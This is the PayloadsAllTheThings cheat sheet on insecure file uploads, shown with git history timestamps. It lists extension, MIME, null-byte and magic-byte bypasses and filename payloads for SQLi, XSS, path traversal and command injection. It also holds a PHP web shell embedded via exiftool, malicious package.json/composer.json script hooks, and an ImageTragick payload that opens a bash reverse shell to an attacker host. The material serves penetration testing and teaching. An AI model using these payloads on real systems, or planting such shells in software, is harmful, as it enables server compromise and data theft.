PayloadsAllTheThings/Upload Insecure Files/README.md

213 lines
9.5 KiB
Markdown
Raw Normal View History

2016-10-18 11:13:23 +00:00
# Upload
2018-08-12 21:30:22 +00:00
2022-03-27 17:50:33 +00:00
> Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.
2016-10-18 11:13:23 +00:00
## Summary
* [Tools](#tools)
* [Exploits](#exploits)
2022-03-27 17:50:33 +00:00
* [Defaults extensions](#defaults-extensions)
* [Upload tricks](#upload-tricks)
2021-07-14 15:10:04 +00:00
* [Filename vulnerabilities](#filename-vulnerabilities)
* [Picture compression](#picture-compression-)
* [Configuration Files](#configuration-files)
* [CVE - Image Tragik](#cve---image-tragik)
2021-07-14 15:10:04 +00:00
* [CVE - FFMpeg](#cve---ffmpeg)
2020-09-27 09:16:50 +00:00
* [ZIP Archive](#zip-archive)
2022-08-09 20:05:45 +00:00
* [Jetty RCE](#jetty-rce)
* [References](#references)
## Tools
- [Fuxploider](https://github.com/almandin/fuxploider)
2021-07-14 15:10:04 +00:00
- [Burp > Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa)
2021-10-20 15:44:35 +00:00
- [ZAP > FileUpload AddOn](https://www.zaproxy.org/blog/2021-08-20-zap-fileupload-addon/)
2016-10-18 11:13:23 +00:00
## Exploits
2018-08-12 21:30:22 +00:00
2021-07-14 15:10:04 +00:00
### Defaults extensions
2018-08-12 21:30:22 +00:00
2021-07-14 15:10:04 +00:00
* PHP Server
2020-09-27 09:16:50 +00:00
```powershell
.php
.php3
.php4
.php5
.php7
2021-07-14 15:10:04 +00:00
# Less known PHP extensions
2020-09-27 09:16:50 +00:00
.pht
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.inc
```
2022-08-09 20:05:45 +00:00
* ASP Server
```powershell
.asp
.aspx
.config
.cer and .asa # (IIS <= 7.5)
shell.aspx;1.jpg # (IIS < 7.0)
shell.soap
```
* JSP : `.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action`s
2021-07-14 15:10:04 +00:00
* Perl: `.pl, .pm, .cgi, .lib`
2020-09-27 09:16:50 +00:00
* Coldfusion: `.cfm, .cfml, .cfc, .dbm`
2019-02-15 15:00:50 +00:00
### Upload tricks
2018-08-12 21:30:22 +00:00
2022-08-09 20:05:45 +00:00
- Use double extensions : `.jpg.php, .png.php5`
2020-09-27 09:16:50 +00:00
- Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg`
2022-03-27 17:50:33 +00:00
- Random uppercase and lowercase : `.pHp, .pHP5, .PhAr`
2019-09-02 10:36:40 +00:00
- Null byte (works well against `pathinfo()`)
2022-03-27 17:50:33 +00:00
* `.php%00.gif`
* `.php\x00.gif`
* `.php%00.png`
* `.php\x00.png`
* `.php%00.jpg`
* `.php\x00.jpg`
2020-09-27 09:16:50 +00:00
- Special characters
2021-07-14 15:10:04 +00:00
* Multiple dots : `file.php......` , in Windows when a file is created with dots at the end those will be removed.
2022-08-09 20:05:45 +00:00
* Whitespace and new line characters
* `file.php%20`
* `file.php%0d%0a.jpg`
* `file.php%0a`
2021-07-14 15:10:04 +00:00
* Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`.
2022-06-07 18:36:09 +00:00
* Slash: `file.php/`, `file.php.\`, `file.j\sp`, `file.j/sp`
* Multiple special characters: `file.jsp/././././.`
2019-02-15 15:00:50 +00:00
- Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif`
2019-09-02 10:36:40 +00:00
* `Content-Type : image/gif`
* `Content-Type : image/png`
* `Content-Type : image/jpeg`
2022-08-09 20:05:45 +00:00
* Content-Type wordlist: [SecLists/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
2021-07-14 15:10:04 +00:00
* Set the Content-Type twice: once for unallowed type and once for allowed.
- [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures)
2020-09-27 09:16:50 +00:00
* Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
2021-07-14 15:10:04 +00:00
* PNG: `\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[`
* JPG: `\xff\xd8\xff`
* GIF: `GIF87a` OR `GIF8;`
* Shell can also be added in the metadata
- Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.asax:.jpg`"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`")
### Filename vulnerabilities
2022-08-09 20:05:45 +00:00
Sometimes the vulnerability is not the upload but how the file is handled after. You might want to upload files with payloads in the filename.
2021-07-14 15:10:04 +00:00
- Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension`
2022-08-09 20:05:45 +00:00
- LFI/Path Traversal Payloads: e.g. `image.png../../../../../../../etc/passwd`
2021-07-14 15:10:04 +00:00
- XSS Payloads e.g. `'"><img src=x onerror=alert(document.domain)>.extension`
- File Traversal e.g. `../../../tmp/lol.png`
- Command Injection e.g. `; sleep 10;`
2018-08-12 21:30:22 +00:00
2022-08-09 20:05:45 +00:00
Also you upload:
- HTML/SVG files to trigger an XSS
- EICAR file to check the presence of an antivirus
### Picture Compression
2016-10-18 08:01:56 +00:00
Create valid pictures hosting PHP code. Upload the picture and use a **Local File Inclusion** to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`.
2018-08-12 21:30:22 +00:00
2019-02-15 15:00:50 +00:00
- Picture Metadata, hide the payload inside a comment tag in the metadata.
- Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`.
- [JPG](https://virtualabs.fr/Nasty-bulletproof-Jpegs-l): use createBulletproofJPG.py
- [PNG](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createPNGwithPLTE.php
- [GIF](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createGIFwithGlobalColorTable.php
2018-08-12 21:30:22 +00:00
2022-07-27 15:23:30 +00:00
### Picture with custom metadata
Create a custom picture and insert exif tag with `exiftool`. A list of multiple exif tags can be found at [exiv2.org](https://exiv2.org/tags.html)
```ps1
convert -size 110x110 xc:white payload.jpg
exiftool -Copyright="PayloadsAllTheThings" -Artist="Pentest" -ImageUniqueID="Example" payload.jpg
2022-08-09 20:05:45 +00:00
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
2022-07-27 15:23:30 +00:00
```
2019-02-15 15:00:50 +00:00
### Configuration Files
2022-05-09 13:14:26 +00:00
If you are trying to upload files to a :
2022-08-09 20:05:45 +00:00
- PHP server, take a look at the [.htaccess](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess) trick to execute code.
- ASP server, take a look at the [web.config](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config) trick to execute code.
2020-09-27 09:16:50 +00:00
Configuration files examples
2022-08-09 20:05:45 +00:00
- [.htaccess](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess)
- [web.config](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config)
- [httpd.conf](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Busybox%20httpd.conf)
- [\_\_init\_\_.py](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Python%20__init__.py)
2022-05-09 13:14:26 +00:00
Alternatively you may be able to upload a JSON file with a custom scripts, try to overwrite a dependency manager configuration file.
- package.json
```js
"scripts": {
"prepare" : "/bin/touch /tmp/pwned.txt"
}
```
- composer.json
```js
"scripts": {
"pre-command-run" : [
"/bin/touch /tmp/pwned.txt"
]
}
```
2019-02-15 15:00:50 +00:00
### CVE - Image Tragik
2020-09-27 09:16:50 +00:00
Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)
2019-02-15 15:00:50 +00:00
```powershell
2020-09-27 09:16:50 +00:00
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
2020-09-27 09:16:50 +00:00
More payload in the folder `Picture Image Magik`
2021-07-14 15:10:04 +00:00
### CVE - FFMpeg
FFmpeg HLS vulnerability
2020-09-27 09:16:50 +00:00
### ZIP archive
When a ZIP/archive file is automatically decompressed after the upload
* Zip Slip: directory traversal to write a file somewhere else
2021-07-14 15:10:04 +00:00
```python
python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
```
2022-08-09 20:05:45 +00:00
### Jetty RCE
Upload the XML file to `$JETTY_BASE/webapps/`
2022-09-04 12:24:16 +00:00
* [JettyShell.xml - From Mikhail Klyuchnikov](https://raw.githubusercontent.com/Mike-n1/tips/main/JettyShell.xml)
2022-08-09 20:05:45 +00:00
2022-10-02 06:13:01 +00:00
## Labs
* [Portswigger Labs on File Uploads](https://portswigger.net/web-security/all-labs#file-upload-vulnerabilities)
2020-09-27 09:16:50 +00:00
2018-12-24 14:02:50 +00:00
## References
2018-08-12 21:30:22 +00:00
2022-08-09 20:05:45 +00:00
* [Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil](https://virtualabs.fr/Nasty-bulletproof-Jpegs-l)
2019-02-15 15:00:50 +00:00
* [BookFresh Tricky File Upload Bypass to RCE, NOV 29, 2014 - AHMED ABOUL-ELA](https://secgeek.net/bookfresh-vulnerability/)
* [Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [La PNG qui se prenait pour du PHP, 23 février 2014](https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/)
* [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf)
2022-04-18 19:32:54 +00:00
* [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0)
2022-06-07 18:36:09 +00:00
* [IIS - SOAP](https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap)
2022-08-09 20:05:45 +00:00
* [Arbitrary File Upload Tricks In Java - pyn3rd](https://pyn3rd.github.io/2022/05/07/Arbitrary-File-Upload-Tricks-In-Java/)
* [File Upload - HackTricks](https://book.hacktricks.xyz/pentesting-web/file-upload)
2022-09-04 12:24:16 +00:00
* [Injection points in popular image formats - Daniel Kalinowski - Nov 8, 2019](https://blog.isec.pl/injection-points-in-popular-image-formats/)
2022-09-22 22:35:34 +00:00
* [A tip for getting RCE in Jetty apps with just one XML file! - Aug 4, 2022 - PT SWARM / @ptswarm](https://twitter.com/ptswarm/status/1555184661751648256/)
* [Jetty Features for Hacking Web Apps - September 15, 2022 - Mikhail Klyuchnikov](https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/)